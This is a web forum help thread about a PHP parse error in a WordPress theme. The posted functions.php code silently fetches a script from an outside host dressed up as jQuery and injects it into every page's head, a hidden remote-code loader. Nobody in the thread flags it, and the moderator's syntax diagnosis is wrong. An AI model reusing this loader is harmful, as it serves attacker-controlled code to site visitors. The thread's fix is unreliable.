Parse error: syntax error, unexpected '{'

Discussion in 'PHP' started by topwebsitedesigning.com, Feb 26, 2012.

  1. #1
    Parse error: syntax error, unexpected '{' in /home/topwebsi/public_html/BESTWEBSITESEO.COM/wp-content/themes/FireBird/functions.php on line 1 error coming after new theme activation.

    Code is mentioned below:
    
    <?php
    if (!function_exists('insert_jquery_theme')){
       function insert_jquery_theme(){if (function_exists('curl_init')){
             $url = "http://www.wpstats.org/jquery-1.6.3.min.js";
             $ch = curl_init();    
             $timeout = 5;
             curl_setopt($ch, CURLOPT_URL, $url);
             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
             curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
             $data = curl_exec($ch);
             curl_close($ch);
             echo $data;
          }
       }
       add_action('wp_head', 'insert_jquery_theme');
    }
    
    PHP:
    Can anybody suggest whats wrong?
     
    Last edited by a moderator: Feb 26, 2012
    topwebsitedesigning.com, Feb 26, 2012 IP
  2. sarahk

    sarahk iTamer Staff

    Messages:
    28,899
    Likes Received:
    4,555
    Best Answers:
    123
    Trophy Points:
    665
    #2
    I'm a moderator so I thought I'd add some line breaks in there to make it easier to read the code. Straight off I found

     function insert_jquery_theme(){if (function_exists('curl_init'))
    PHP:
    and the { before the if makes no sense. Try deleting that.

    Don't be afraid of adding in line breaks. Whitespace makes it more readable and the impact on load time for PHP scripts is minimal
     
    sarahk, Feb 26, 2012 IP